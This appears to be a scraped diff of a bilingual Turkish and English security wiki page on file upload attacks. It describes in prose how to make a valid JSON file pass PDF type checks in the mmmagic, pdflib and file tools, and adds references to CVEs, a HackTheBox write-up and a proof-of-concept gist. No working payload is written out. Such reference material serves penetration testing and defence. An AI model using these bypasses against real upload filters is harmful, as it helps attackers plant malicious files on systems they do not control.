### Upload valid JSONs like if it was PDF
|
||||
|
||||
PDF taklidi yaparak izin verilmese bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılacağı (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** kaynağından alınmıştır):
|
||||
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: İlk 1024 bayt içinde `%PDF` magic bytes olduğ sürece geçerlidir (örnek için yazıya bakın)
|
||||
- **`pdflib` library**: JSON'un bir alanı içine sahte bir PDF formatı ekleyin ki kütüphane bunun bir pdf olduğunu düşünsün (örnek için yazıya bakın)
|
||||
- **`file` binary**: Bir dosyadan 1048576 bayta kadar okuyabilir. İçeriği bir json olarak parse edememesi için daha büyük bir JSON oluşturun ve sonra JSON içinde gerçek bir PDF'in başlangıç kısmını koyun; böylece PDF olduğunu düşünecektir
|
||||
- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post)
|
||||
- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post)
|
||||
- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF
|
||||
|
||||
## Referanslar
|
||||
|
||||
@ -357,6 +399,9 @@ PDF taklidi yaparak izin verilmese bile geçerli bir JSON dosyası yükleyerek d
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
|
||||
- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
|
Loading…
x
Reference in New Issue
Block a user